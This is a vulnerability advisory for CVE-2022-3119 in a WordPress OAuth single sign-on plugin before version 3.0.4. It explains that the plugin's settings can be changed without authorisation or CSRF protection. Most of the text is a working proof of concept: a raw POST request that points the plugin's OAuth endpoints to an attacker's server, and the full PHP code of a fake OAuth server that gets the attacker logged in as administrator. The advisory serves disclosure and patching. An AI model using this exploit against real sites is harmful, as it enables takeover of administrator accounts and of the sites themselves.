OAuth client Single Sign On for WordPress < 3.0.4 – Unauthenticated Settings Update to Authentication Bypass | CVE 2022-3119

Description

The plugin does not have authorisation and CSRF when updating its settings, which could allow unauthenticated attackers to update them and change the OAuth endpoints to ones they controls, allowing them to then be authenticated as admin if they know the correct email address

Proof of Concept

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=oauthconfig&OAuthConfig_nonce=-&oauthservers=Custom_OAuth&client_id=-&client_secret=-&rquest_in_body=1&client_authorization=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fauth%3D1&client_token_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Ftoken%3D1&client_userinfo_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fresource%3D1

With exploit.php controlled by the attacker with

/** auth endpoint */
if ( isset( $_GET['auth'] ) ) {
	if ( isset( $_GET['response_type'] ) ) {
		if ( 'code' == $_GET['response_type'] ) {
			header( 'Location: ' . $_GET['redirect_uri'] . '/?' . http_build_query( array(
					'code' => '-', //can be anything, just don’t be empty
				) ) );
			exit;
		}
	}
}

/** token endpoint */
if ( isset( $_GET['token'] ) ) {
	if ( isset( $_POST['grant_type'] ) ) {
		echo json_encode( array(
			'access_token' => '-', //can be anything, just don’t be empty
		) );
		exit;
	}
}

/** resource endpoint */
if ( isset( $_GET['resource'] ) ) {
	echo json_encode( array(
		'email'      => 'admin@localhost',
		'user_login' => '-', //can be anything, just don’t be empty
	) );
	exit;
}